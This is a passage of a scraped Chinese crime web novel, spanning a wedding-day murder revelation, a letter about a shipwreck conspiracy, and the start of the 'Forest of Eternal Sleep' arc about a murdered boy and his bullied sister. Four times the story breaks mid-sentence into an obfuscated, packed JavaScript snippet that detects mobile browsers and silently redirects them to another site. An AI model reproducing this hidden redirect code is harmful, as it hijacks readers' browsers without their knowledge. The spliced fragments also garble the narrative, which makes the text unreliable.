宾客里很多人都没有见过尸体,更别说是生前经历过惨绝人寰虐待的孩童遗体了,数百名宾客瞬间慌乱起来,场面一发不可收拾。慌乱中,我瞧见正好打完电话,准备将其挂断的叶无歆。 有些人僵在原地一时之间没反应过来,而有些人直接拔腿就往门外冲。归宜无比淡定地拿起掉落在地的话筒,朝那些人说了一句:“出门一步,就会被杀掉哟,不怕死的可以试试。” 疯狂往外跑的人这才半信半疑地停下脚步。 紧接着,归宜又说:“最近的连环杀人犯正在外面对你们虎视眈眈,不想要命的人现在就可以离开。这里比较安全,所以我衷心的建议大家还是坐回原位会比较好。” 我认为不可能所有宾客都对此信以为真,但在短暂的哄闹之后,所有人竟都乖乖坐回自己的座位上。不是因为归宜的话语有多大力度,也不是因为她的表情太过严肃可怕,而是因为大家已经听到了鸣警笛的声音。 警局离这里不远,如果尸体掉落时报警,警察确实可以在此时赶到。可是那种人人慌乱的情况下,谁又能反应过来去报警? 见警察已经破门而入,归宜才不慌不忙地再一次开口。 “开玩笑的,杀人犯已经逃到地狱里去了,大家可以放心。没想到警察同志这么快就到了,那两位在休息室里,快去看看吧。还有,如果这里是案发现场,是不是得请在场的诸位暂且留下?” 谭警官看了一眼叶无歆,点头后拿出警察证件说道:“我是刑警大队队长谭金洲。不久前,这里发生了恶性杀人案件,各位都是目击证人,请配合调查。” 女警接过归宜手上的孩子尸体,轻声温柔安慰她。她只是低着头,没有看谢舒。 “很抱歉阿舒,我很希望我们能有一个完美的婚礼,但我必须这么做——公布他们面具底下的青面獠牙,不至于让真相尘封。为了妹妹,也为了所有人。” 谢舒面色铁青,到现在还没有回过神,反倒是那位姓谭的警官直截了当的让归宜讲明事件的经过。 她反问警官可否能当着所有人讲,还表示要是警官不答应她,她就死都不开口。谭警官回应这不算口供,只是了解案情,所以她想当着谁说都可以。 就这样,归宜说起她从外省回来听说有连环杀人魔;找到妹妹的求救信;发现养父母的恶行;在叶无歆的帮助下找到妹妹的尸体;了解自己身世;定下计划在婚礼上公布他们的禽兽行径;两人最终把对方杀死等等。大家都安静地听她说完,没有一个人插话或者打断,气氛沉寂得可怕。 一位警察缓解了现场沉闷的氛围,却用对话将我们拉入更加压抑的空间。 “队长,已经开始采证了。” “那边的情况如何?” “和描述大体一致,但是没有找到男性遗体。” “谭队长,休息室的监控也坏了。” 我的心脏一下子沉入谷底。 怎么可能?我记得很清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305939|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,文姒和苏房的尸体是并排放在休息室里的。文姒的尸体都可以找到,苏房的尸体怎么可能凭空消失?难道说有人趁我们把注意力放在婚礼上悄悄偷走了尸体?但是听说苏房根本没有真心待他的亲戚朋友,更何况是愿意花费诸多心思去偷尸体的人。究竟是怎么回事? 很明显,归宜和叶无歆都无法解释尸体消失之谜,等警方调查完现场的状况,我们理所应当的被带到警局问话。 警车上我不停在思索一件事,却始终无法得到答案。如果有人发现尸体并报警,警察肯定会去找归宜,到时候她只要把真相全部说出来就可以了,有什么必要献祭自己的婚礼呢? 当我不小心问出这个问题的时候,归宜给出来的答案却让我感到窒息。 “如果这件事情的真相只存在于电子产品的彩色图标上,那么人们在庆幸自己安全之余,就会认定事情已经完美收官,没有多少人会记得这个案件葬送了多少条性命,又让多少人痛不欲生。受害者白白牺牲,却没有引起社会的重视,潜在犯人不仅不会改过自新,还会大受鼓舞,效仿犯罪。可是有这么多现场观众在就不一样了,他们亲眼目睹妹妹可怜的尸体,连环杀人犯距离他们只间隔一堵墙和一条走道,这种危及到生命的感受,没有人会轻易淡忘。不用担心对饭店声誉的影响,因为这就是苏房名下的产业,至于那些员工,我会尽量补偿他们。我最对不住的是阿舒,他真的很好……” 最终还是不知道苏房的尸体是怎么消失的,我们对尸体在何处更是毫无头绪。 警察局没有想象中的可怕。 谭队长问完话,训了我们几句“不要胡来”、“做事要冷静”、“三思而后行”之类的话就放我们走了。 离开警局时,天已经黑的彻底。叶无歆叫来司机说要送归宜回家,果然是学霸兼千金大小姐。 公交车的末班刚刚已经开走,我又怕近期的出租车不安全,所以决定搭乘地铁回家。 打开家门,迎面袭来的是烟草和酒精混合的奇怪气味。老妈不是烟枪,也没有喝酒的习惯,鼻腔里的味道让我误以为走错了家门,仔细确认过门牌号才敢进门换鞋。 老妈不在沙发上,我还以为她已经回房间睡觉了。 我走过露天阳台,透过玻璃看到了一张已然陌生的面孔。 那张红晕脸庞的主人正一手捏着装有红酒的高脚杯,一手夹着半截香烟,一言不发地仰望着黑到令人胆怯的夜空。布满泪痕脸颊上又淌下一行浊泪,弄花精美的妆容,滴落在昂贵的晚礼服上。 12. 不巧婚礼6 6 自警察局出来,我几乎精疲力竭,好在小歆主动提出送我回去。 谭警官全程都在审问我和冉一一,小歆去警局好像只是为了走个过场,悠闲之余,还跟警局里相熟的几位警察很是熟络地聊了几句天。 我不想再回那个住着无数冤魂的鬼宅,真希望小歆也能像收留白月和温芙一样收留我。怀揣着这样的想法,我唐突地问出声:“小歆,那个地方死的人太多了,我害怕……能让我去你家住几天吗?” 她没有反应,一直闭着双眼,似乎是已经入睡了,没有听到我说的话。 良久,一尘不染的红色跑车停在文姒和苏房居住的别墅前面。 我下车刚要关上车门,就看到小歆像是从梦里醒来一样,缓缓睁开眼睛。我以为她要答应我的请求,暗自有些激动,没想到她却说:“害怕的话,那还是不要再来了。后续没什么事情,我帮你定了明天上午十点的机票,去好好渡个假。吃穿用度都不用担心,什么都不用管,去好好放松一下,明天早上我会来接你去机场。” 司机没有给我过多思索的时间,下来关上后座的车门,然后迅速坐回驾驶座扬长而去。整个过程中,小歆没有丝毫反应。不过片刻,我身边就只剩下了寂寥的路灯和阴森森的别墅。 我想不出比旅游更棒的缓解方式,遂默认了小歆替我做出的决择。 当天夜里,我给阿舒打去电话。我向他赔不是,说非常抱歉毁了他的婚礼,但是我真的很爱他,希望他可以原谅我。出于被卷入大案之后的心情大起大落,我将要去旅行一段时间,在旅游时调整心态,做好对今后蓝图的规划,可能短时间之内无法相见。 听到电话那头的他非常生气,我压根没抱什么希望,可他居然决定原谅我冒失的行为,并让我安心去旅行,他会等着我回来重新举行一次婚礼。对此,我无比感动。 第二天大早,小歆按照约定的时间来接我。我刚洗漱完毕,连早点都没来得及吃,还好昨晚提前收拾好了行李,不至于太过匆忙。 小歆把我送到机场附近的某处临时停车场,说自己还有点事,就不继续往里送了。因为行李很轻,我也劝她止步。正当我要拉着行李箱离开时,小歆却摇下车窗,用送行的语气叫住我。 “慢点儿,时间还早,不用着急。” 司机熟练地把车掉头,方便小歆和我讲话。我站定不动,看向车窗里的那张脸。小歆没有出声,开口用唇语讲了几个字,为防止我没看清,她一共讲了三遍——下飞机再看。 在第三遍的时候,她举起手机,轻点了两下屏幕。 坐在VIP休息室里,我开了瓶气泡饮料,坐在沙发上转手机。 ——下飞机再看。 有什么是不能让我在这里知道的? 此行目的地是国内的度假圣地,虽然路途遥远,但是我并非没有购买回程机票的能力,应该不是为了限制我的行动。如果她想拖延时间做什么重要的事情,那她也应该会派一个人跟着我,确保我没有偷看,所以也不是这个。以小歆的人品和我目前的价值来看,应该也不会是绑架或者监禁。 排除以上三者,她发给我的内容肯定足以让我的情感发生变化,但不会改变我去度假的决定。只是比起在现在,我更适合到目的地再行阅读。既然如此,在一个不那么适合的地方阅读,应该也影响不大。 【邮件内容如下】: 我知道你肯定会忍不住提前打开,不过没有关系,左不过是时间早晚和心态的问题。以下的容,请你仔细阅读。 还记得轮船失事后,你的亲生父母曾逃到一座资产家的私人小岛上吗?事实是,轮船上的引擎并不是意外爆炸,而是那位资产家派人动的手脚,动手的就是那个把救生艇放出来的“机灵人”。 他本来想独自一个人逃走,可没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305940|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是被几个眼疾手快的游客跳上了小艇。 再此顺带一提,那位资产家之所以想让那艘轮船沉没,只是因为那上面坐着他最大的商业对手之一,他希望让对手彻底消失。 为了方便动手脚的人逃生,轮船失事的地方距离资产家的小岛很近,所有人都理所应当上了那座小岛。资产家很害怕有人察觉轮船沉没的真相,打算把所有人困死在小岛上。 但是很快,他就发现行不通。过往的船只不算太少,如果被人发现就糟了。思忖之下,他打着度假的幌子接回幸存者。 事后,他杀了那些幸存者,并把他们的死伪装成意外——导致你父母死亡的车祸就是其中之一。 对方把你妹妹送去福利院且时常去看她,只不过是为了监视。没有直接杀死你妹妹,大概是他们最后一点人性。 我知道这些一点都不奇怪,因为我身为资产家的父亲恰好也有座一模一样的私人小岛。 记住了,有人已经对你动了杀心,再不离开就会有生命危险。我选取的这个地方非常安全,你安心在那边待着,他们的爪牙伸不过去。 不要试图报仇,以你的力量根本就不是他们的对手。你要是想保住性命就不要回来,复仇者的火焰可以点亮一片暗影,但再多的烛光也驱不散浓重的阴霾。 你见过前两起案件死者的照片吧?她们身上完美复刻了案件死者的全部伤痕。又或许你没有拿到照片,或者没敢仔细看。不妨回去搜搜案件详情。文姒和苏房复刻的非常完美,一样没落。我想说的是,世界上有些地方遍地都是那样的人,你的养父母相较之下甚至算是善良的一类。那里人人都是原创案件的作者,手段之残忍绝非你能想象。如果你回来,有人会把你运往那里,你绝无逃脱的可能。 这段信息经过加密,大概率不会被窃取。但为了预防手机被盗窃等因素,我还是建议你看完之后立刻删除会比较妥当。 13. 永眠森林1 1 我和姐姐一时兴起跑到森林里来玩,无意间撞到一幕凶杀现场——一个女人正拿着锄头,一下下地砸在男孩儿的身上。 “啊——” 我们下意识发出尖叫。 杀人犯看到我们,准备杀人灭口。 我们拼命逃窜,慌乱之中就躲到了这个老旧的木屋里。那人追进来,挨个房间搜寻。要不了多久,她就可以摸清楚我们的所在方位。 嗒。 嗒。 “小妹妹,小弟弟,你们在哪里呢?快点出来呀,姐姐送你们回家……” 嗒。 嗒。 声音越来越大,寂静的环境里,我和姐姐都不敢轻举妄动。 “天黑了,游戏也该结束了,你们在这里多危险呀……你们都还小,要赶紧回家去睡觉才行哟……你们躲不下去的!” 砰! 一扇门被砸开。 “在这里!哎呀,猜错了……没关系,姐姐一点都不介意继续陪你们玩躲猫猫的游戏。” 砰! 又一扇门被砸开。 “找到你们了!你们一定就在这个房间里……你们一定就躲在这里对不对?我闻到你们的味道了,两只小羊羔的味道。” 嗒。 “刚刚那个小弟弟和你们差不多大,他已经睡着了,你们也该睡了。” 嗒。 嗒。 “你们快点出来呀,我可没有多少耐心,要是被我找到……等等,原来在这儿呀,太好了!” 吱呀—— 木制地板尖叫一声,那个人站在原地嗅着猎物的味道。 姐姐捂住我的嘴,尽量小心翼翼地不发出任何声音。 此刻,我们正躲在床底下。 杀人犯已经来到这个房间,她随时可能发现我们。 她个子不高,说话时有一种天生的童音,令人毫无防备。 现在——她就在我们的面前! *** 今天杀人的场景被撞到,那两个小鬼应该没看到我的脸,但还是不能让他们活着。在我最熟悉的行凶地点跟我玩捉迷藏,明明可以活着却非要来送命,不知死活的小鬼。 森林的破旧小屋是他们唯一可以逃窜的地方,我去那里就可以把他们一网打尽。 厨房没有。 厕所没有。 那他们就一定藏在木屋里的第三个房间——准确的说,是最适合躲避的地方——卧室床底。 没错,他们的确就在这里,我能闻到他们的味道。 弯下腰,我能明确听见那两个小鬼的呼吸和心跳。锄头锤在地上,再往下一点就能看见他们。 我和他们无冤无仇,本来也不想对他们下手,但小孩子的嘴是最不牢靠的,他们要是说出今天的所见所闻,我就该有麻烦了。 不过,说出去……未必只有麻烦。 我有一个更完美的想法。 *** 就在我和姐姐以为要交代在这里的时候,那个杀人犯居然走了。 我想出去看看情况,但姐姐仍然死死捂住我的嘴,摁住我,不让我动。 过了好久,久到天边染上鱼肚白,床底下隐约透过亮光。我揉揉眼睛,似乎听到有几个人在说话。 “这里好像有人。” “去看看。” “我这里没有,你们那边呢?” “没有。” “没有。” “我这边有两个小孩。” 警察把我们带出森林,后面的事我就不记得了,只记得那年我七岁,姐姐十岁。 今年我九岁,姐姐十二岁。 出来之后,我和姐姐说明了在森林里的所见所闻,却得到的只是大人不以为意的数落:“你们一定是出现幻觉了,那些恐怖故事都是我们编出来吓你们这些小孩子的,世界上哪里会有那些怪力乱神的东西嘛。” “我们真的看见了,是一个年轻女人!” 我不甘心的争辩,姐姐却不说话了。现在想来,无论她当时说了什么都不会有人会听,她早就知道了。 听到我的话,爸爸宠溺地笑笑,妈妈蹲在旁边捏我的脸,心疼地说:“哎哟,我的小悟宝贝,你一定是被吓到了吧?真的什么都没有,警察叔叔查过了,没有任何人出现过的痕迹呢。” 爸爸也跟着说:“傻小子,大晚上的你们能看见啥?早知道就不该讲这么多恐怖故事来吓你,肯定是不自觉代入了。” 爸爸把我举起来转圈,妈妈这才想起来要看姐姐。为显公平,妈妈嗔怪着数落了我:“夕夕不是那种会乱跑的性子,肯定是你又淘气,硬拉着她去的吧?”可紧随其后,她又对着姐姐补了一句:“你也是,不拦着点他,要是出事了该怎么办?”语气更多是责怪。 爸爸不慌不忙地说:“她呀,本身就是个不知轻重的,以后家里还是只能靠小悟,对不对呀?”他说完,用满是胡茬的下巴蹭了蹭我的脸。 森林这些年一直流传着有女巫或是魔女的故事,大多数人都不相信,却也不想犯这个忌讳,进入森林的人少之又少。这次我顽皮闯进森林,虽然没有人相信我说的话,但是大人们都听进去了,不知是谁将我的经历也加进故事当中。 自此,森林的诡异加剧,听说再也没有人进去过。 可不止是森林的诡异加剧,血缘间的诡异也与日俱增。 这两年发生了很多事,例如,我多了一个同父异母的哥哥,以及爸妈把姐姐赶去了阁楼。 哥哥叫楚乐,他比姐姐大半岁,据说是爸爸前妻的女儿,妈妈有些神经质地提防他,和爸爸的关系就此疏离。至于姐姐被赶去阁楼的原因,除了哥哥的到来之外,还有不少刻薄的成因。 家里本就守旧,抛开重男轻女的因素,乡下的外婆还说过姐姐是扫把星。原因好像是姐姐出生的那年,村子里有三个孩子无故夭折,还凭空冒出来好几只黑猫。外婆说这是因为姐姐上辈子罪孽太重,姐姐就是个祸害。 爸妈也不喜欢姐姐,三层楼的别墅里空房间如此之多,他们却还是坚持要把姐姐赶去阁楼。姐姐没有反抗的余地,只能听之任之。 我不认为谁是生来就有罪,刚落地的孩子都是无辜的。身为这个家里的一员,我只想对姐姐说句抱歉。家是每一个人的根,姐姐的根腐烂了,连带着所有美好和幸福一起消失。 如今想来,我果然是个坏孩子。 那天,我偷看了姐姐的日记。 姐姐说她恨所有人,无论是家人还是同学,每个人都想让她死,大家都把她看做蛇蝎。我非常希望能理解她,却始终无法感同身受。 姐姐恨我无所谓,我只知道我永远都不会恨她。姐姐对我向来是不错的,有什么好处都会第一个想到我,当时面对生死的危机也没有选择将我抛弃。随着时间的推移,爸妈对姐姐越来越厌恶,姐姐对我也越来越冷淡。 人人心里都有温柔善良的一面,所有人的心里都住着一对天使和恶魔。姐姐已经把天使的额度透支光了。她被磨去棱角,关进阁楼,从此不再相信世间有爱,周身只剩下无边的黑夜。她被剜去幸福,杀死微笑,此后只能看见黑白的暴力。姐姐守护了我的色彩,从今以后,换成我来保护她。 今天姜小维又不请自来。妈妈不喜欢她,我也一样。 这个女孩总是穿着成熟的衣服,化妆品也是信手拈来,九岁之前就背着上万块的成人款名牌包包。 妈妈说她像个大人——这句话里没有表扬亦或是称赞的意思,妈妈只是觉得她有一股与年龄极度不符的奇怪特性。她总是说爱我,可我知道这是不对的。因为她根本不清楚什么是她所说的爱,即使知道也是错的,九岁的孩子不能知道这种特殊的情感。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305941|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜小维家里很有钱,没有人知道她父母是做什么的,她自己也从来不说。妈妈发觉了她的古怪,却没有严厉地下逐客令,因为她是个既聪明又讨人喜欢的女孩子。她学过围棋、茶艺、钢琴、拳击,还有很多我不知道的技能,没有人会讨厌她。和她相比,姐姐瞬间像是跪在苏格拉底跟前的乞丐,相形见绌。 当乌鸦和天鹅同框,谁输谁赢不言自明。输赢如此果断,还没来得及宣布比赛规则,甚至从来没人说过这是一场比赛。 我上省内知名的小学,哥哥姐姐上省内知名的初中。我经常能看到哥哥和一个不认识的姐姐走在一起,姐姐对此毫无反应,只是叫我不要去管他们之间的事,大家都只是同学。 经常和哥哥同路的那个姐姐叫褚兰,她身上总是有一股烟草味儿。某次我问哥哥是不是交上了女朋友,哥哥很生气地说小孩子不要问这些,同时央求我不要告诉爸爸妈妈。 后来,我有好几次放学路上见到褚兰领着人去打劫同学。 今天下午,我也被褚兰拦住拔毛。 “乐乐和我交往,我知道你们家很有钱,知道我想做什么吗?你识相一点就没事了。” 褚兰今年才初一,身后跟着七八个高个子男生。我从小就崇拜电视里见义勇为的英雄,性格向来执拗,不愿意服软,于是我强装镇定地拒绝了。 褚兰喊两个男生把我擒住,抢走我的书包,拿走我的零花钱。我趁机咬住褚兰的手不放,她用力把我甩开,叫身后的人对我拳打脚踢,都打在被衣物遮蔽的地方。在这期间,褚兰弄掉了爸爸给我买的新手表,我很心疼。 爸爸妈妈还没回家,我把事情告诉哥哥,撩开衣服给他看身上的淤青。哥哥对此毫不在意,并且让我千万不能告诉爸妈,否则他会生气。打那时我就明白了,楚乐不是我的亲哥哥,他对这个家没有感情,我用尽全力呵护的家充其量只是他用于栖身的房子。 最后我还是决定把事情如实告诉爸妈。他们很生气,决定自此开始亲自接送哥哥上下学,管控他的零花钱和交友关系。 临近春节,纵使是南方也刮起寒风。天冷了,大家都穿得格外厚实。 我去找姜小维,发现她还穿着露腿的短裙。我让她不要再来我家,她表示很疑惑,和我大吵一架。好在,她最终还是答应我不再过来。 哥哥姐姐的同班同学叶无歆过生日,她父母邀请全班同学以及家人前去自家旗下的高档餐厅做客。借着去参加她生日的空档,我约了几个人见面。 姜小维不知道为什么也在派队上。她的眼神好吓人,我没敢多看,一直避着她。 用餐时,我无意间看到餐巾纸上的卡通图案——是一只灰色卡通小鼠。我下意识把它放进口袋。 虽说是叶无歆姐姐的生日派对,但是她本人一直没有出现。我在餐厅里面转了好几圈,无意间碰见了住在我们家附近的言姐姐。以前我得空就跑去小公园里玩,叶无歆姐姐只去过一两次,倒是言姐姐经常给我带好吃的,我非常喜欢她。 我看见她很无聊地从某间包厢里走出来,于是凑上去问她为什么没有看见叶无歆姐姐。 “阿歆的朋友来了,他们坐那聊天呢。我倒是想坐在里面,不过他们一下聊罗马尼亚孤儿*,一下聊大脑前叶皮层*什么的,我听不懂,就悄悄溜出来了。” 我也听不懂这些东西,索性和言姐姐一起去吃巨型城堡蛋糕了。 派对结束之前,我跟原先预计的几个人都见面讲了话。派对结束之后,还有一个意料之外的人居然也来找我。 回家的路上,那个人说有一件非常重要的事情,让我们边走边说。 ………… 最后,我被人推下了陡坡。 千算万算,我唯独没有料到这个结果。冰冷的泥土和腐烂的树叶钻进我裸露在外的孔窍,我瞪圆眼睛,慢慢失去了呼吸…… 14. 永眠森林2 2 我的家乡从来就没有太平过。有小时候撞见的杀人现场;有小悟的死亡;近期还冒出了两起复杂的凶案。好在这些案件全都被解决了,我们暂时没有生命危险。 这里的冬天从不下雪,但那年冬天却是个意外。 小小的孩童滚下路边陡坡,偏僻的道路上鸦雀无声。时不时有路人经过,可漆黑的夜幕里,没有人愿意去解救绝望的他。 小孩的眼睛里满是不可置信,枯叶和污泥灌进他来不及闭上的眼睛和口腔里,四肢扭曲成诡异的形状,像是支离破碎的玩具人偶。 他死了,是被人杀死的。 我被梦中七窍流血的小悟吓醒。梦里的小悟瞪着猩红的眼睛盯着我,是经典恐怖片里的那种镜头。 自打我名义上的哥哥被接回来的那年起,我就住在昏暗压抑的阁楼里。这里连窗户也没有,根本就是一个不见天日的黑色小匣子。 楚小悟是我的弟弟,比我小三岁。如果他还活着,今年应该上初一了吧。 他拥有我想要的一切,包括父母的爱、朋友、独立的房间……说真的,我有点妒忌他。 小悟死后,爸妈才想起有我这么一个女儿,对我有了一点点的关心。在我提出要求之后,他们居然真的答应给我买了一个小台灯,并且给了我一个简易的小书桌。 尽管对不起弟弟,但我还是认为这样的改变很好。 警察说小悟的死是个意外。 那天班上的同学叶无歆过生日,邀请所有熟人去饭店庆祝,小悟非要和我一起去。 要是我拒绝,说不定他还能活着。 庆生的饭店离爸妈的别墅很近,我们常去的小公园也是在那个方向,所以爸妈没有去接小悟,让他自己回家。 我不擅长和别人打交道,宴会刚结束就走了,小悟没和我同路。 他摔下的陡坡位于一条偏僻的巷子,虽然那条路也可以回家,但是不仅绕远,还非常难走。当时天已经黑了,我不知道小悟为什么要选择走那条路。 后来我和爸妈以及哥哥去了现场。看到这副场景时,哥哥没有太大反应,而我被吓得双脚瘫软,跌坐在地上。 同班女同学褚兰最先发现小悟的尸体,她很淡定地报警,对小悟的死反应平淡。升入高中后,她仍然是我的同班同学,甚至还成为了我的同桌。那是个性格恶劣的女生,小悟的死绝对跟她脱不了关系。 喜欢小悟的女孩儿在一旁哭,认定我就是杀害弟弟的元凶,直接冲上来打我。多亏有警察叔叔拦着她,没让她得手。 话说回来,这个女孩子不仅异常早熟,她的家庭也很是奇怪。她父母在世界各地工作,不知道是做什么的,只知道她家非常有钱。那天她家的保姆照常去买东西,只有她一个人在家,所以也有可能是她贼喊捉贼,把脏水泼到我身上。 弟弟死后,生活有一小点改善的我暂且不说,我们同父异母的哥哥楚乐绝对要列入嫌疑人名单里。毕竟小悟死后,楚乐得到的关爱绝不只增加了一星半点。 他是爸爸前妻的儿子,只比我大半岁,不知道什么原因,他两岁才被接回家。因为不是自己的亲生骨肉,妈妈待他自然比不得小悟。 总而言之,以上几人都有杀害弟弟的动机和能力。 即便如此,跟我也没有什么关系。因为我本来就不怎么喜欢小悟。每当他在我面前炫耀,我都会想,要是小悟从此消失就好了,没想到他居然真的被人推下了陡坡。 也罢,不愿意再去想,因为上学的时间已经快到了。 上第一节课的英语老师是一个相当严厉可怕的女教师,没有人敢在她的课上迟到。哥哥由司机开车送去,不用着急,不过我可得抓紧。 三楼角落里的老旧卫生间也算是我的地盘,每天早上我都会在里面完成洗漱和整理着装的工作。 为了减少麻烦,我一般都会比哥哥先出门。从家里到学校有一段距离,哥哥可以坐私家车去,而我只能步行。要是出门晚了,就没法按时到校——这也成为了妈妈不愿意给我准备早餐的充分理由。 客厅连着大门,我无法避开这里。妈妈在做早餐,内容很丰盛,不用看也知道没有我的份。妈妈宁愿给没有血缘关系的哥哥准备早点也不会给我,这早就是惯例了。 什么时候才能吃上这么丰盛的早餐呢?我这样想着,很小心地下了楼。尽管我已经尽量减小自己的存在感,但还是被靠在沙发上看新闻的爸爸给叫住了。 “喂,听说你的成绩又下滑了,这是怎么回事?” “最近的课程有点难……我会努力的。” 爸爸是一家林业公司的老板,说话的时候会自带一种威压,让人喘不过气——在哥哥和妈妈眼里或许是这样,可在我眼里就只剩下自以为是。他是个连初中都没念完的暴发户,我不觉得他有如此自大的立场。 “你真是个糟糕透顶的坏孩子!你哥哥上周得了作文大赛的一等奖,前天还荣获‘三好学生’的嘉奖,你怎么比他差那么多?我看你要不了多久就该离开实验班了吧。要不是看你之前中考的成绩还过得去,我才不会给你交学费呢。得了得了,看见你就心烦,赶紧给老子滚出去!” 我就这样灰溜溜的被赶了出来。 因为快要过年的关系,家家户户都贴上了大红色的春联,人们渐渐忙碌起来。 虽是南方,天气也是冷的够呛。我没有手套,只能通过朝手心哈气来抵御寒冷。好在校服的材质勉强能够保暖,否则我真的不知道该怎么办才好。 走到学校门口,双手已经冻僵,无意间看到叶无歆从一辆红色跑车上下来,我还以为自己被冻出了幻觉。 我和她都是从这所名牌中学直升上来的学生,不过我们的成绩和气质根本都无法比较。她现在正在和刚到学校的校长交谈,路过的男女同学中有不少都在对她指指点点。 所有人都不言自明的一点是,尽管大家都在说“叶无歆是靠关系才敢这么肆意妄为”,“还不是仗着家里有钱”什么的,但是说这些的人无一不羡慕她的成绩和家境。因为对方太过于优秀,所以只有拼命贬低才能让自己看上去不那么落魄。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305942|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶无歆一直都是我可望而不可及的存在,我也希望像她那样傲视群雄,可惜我们之间只有性别相同、年龄相仿和在同一班级这三个共同点而已。况且,我认为第三点很可能无法撑到下个学期。 来到班上,教室里只有寥寥几人。 我一如既往,默默走进教室,大多数学生都在低头背书。 我并不讨厌英语这门学科,只是对科任老师有种发自内心的胆怯,即使倒背如流的课文,在她面前也会变得异常生疏。 教英语的桑老师要求我们提前十五分钟进入教室准备,而她自己则从来不进教室查看人是否到齐,只是通过科代表的汇报了解情况。哥哥用烟酒买通课代表,几乎每天都是姗姗来迟。 “你让一下,我的圆珠笔掉下去了。” 一般情况,很少会有人会以正常语气跟我讲话,如果有,也都是以上这种内容。 说话的是我的同桌褚兰,也就是第一个见到小悟尸体并报警的女生。 我站起来方便褚兰捡东西,可是她没有按照我想的去做,而是直接抢走我破烂的书包,把它倒扣在桌子上,拎着底部猛地扯开。 书本和文具全都被抖落出来,掉在桌子和地板上。 这已经不是第一次了,我的选择只有承受和缄默。 “楚夕夕,你的书包里怎么都是些破烂呀?我记得乐乐淘汰的废品里都没有这么寒酸的垃圾吧。难道这是你专门从垃圾桶里检出来的?” 褚兰是校霸,还在和哥哥交往,她根本就是有恃无恐。我要是反抗她,今后在家里和学校都会有数不清的麻烦和灾难,我当然不会蠢到去和她硬刚,这种程度的欺负我早就习以为常了。 电视上说告诉家长和老师就可以解决烦恼,我曾经也有尝试过去找老师,结果毫无用处。老师只是训斥他们几句“不可以再欺负同学”,“大家要团结友爱”之类的场面话,可我却受到了那些优等生们对我实施的可怕报复。 只要忍耐一下就会省去这些麻烦的话,我只要一直忍耐,不去招惹任何人就没问题了。 头被掉下来的课本砸到,我瞬间有点发晕。我猜测应该是谁正在翻动我桌子上的书本。 “找到了!” 我抱着收拾好的东西站起来,刚好看到褚兰正拿着我的英语课本左右晃动。 “我的课本找不到了,所以只能让你委屈一下咯。楚夕夕同学这么善解人意,一定不会拒绝的吧?” “可是你拿了,我……” 我刚想反驳,哥哥的声音就传来。 “可是什么?妹妹你最喜欢帮助别人了不是吗?” 哥哥非常恰到好处的出现,我不知道他到底在教室门口偷听了多久。 后排的同学见此情形,开始出现看热闹般不负责任的压倒式帮腔。 “别那么小气嘛,你哥哥都说了要帮助同学。” “反正你成绩这么差,学了也学不会,还不如让给别人呢。” “就是说啊,谁稀罕你那堆破纸,恶心死了。” ………… 15. 永眠森林2 班上的同学无论出于什么目的,都肯定不会向着我。在座的没有一个傻子,有权有势的校霸和惹人讨厌的内向女,明眼人都知道该怎样选择。 在哥哥现身的一刹那,我就知道今天少不了一场灾难。脑海中飞快闪过英语老师一丝不苟的相貌,我不禁开始想象她会如何惩罚忘带课本的差生。发自内心的畏惧让我做出非常滑稽的抵抗,现在想来竟是那样的愚蠢。 “你们几个差不多得了吧,抢人家的书还有理了,你们要不要这么无耻?” 天使般的声音从后方升起,那是班上排名稳定在第五的好学生宋言言,也是为数不多愿意和他们作对的傻瓜。她实在是太傻了,弱肉强食的世界里,保护弱者白痴只会被变成陪葬品。虽说如此,我在感谢她的同时,也非常希望她能继续帮我出头。 宋言言和叶无歆是从小到大的玩伴,关系非常密切,还听说由于家族企业的关系融洽,她们早就成为知己。叶无歆有意无意地不断种下种子,如今这件事早已经不再是秘密。她大力宣传这件事情大概是为了保护言言吧。有她在,谁还敢欺负宋言言这个傻瓜呢? 基于叶无歆的关系,褚兰不敢把矛头引到宋言言身上,只是暗暗警告她:“关你什么事?我们搞谁你都要来捣乱……好好背你的书吧。” 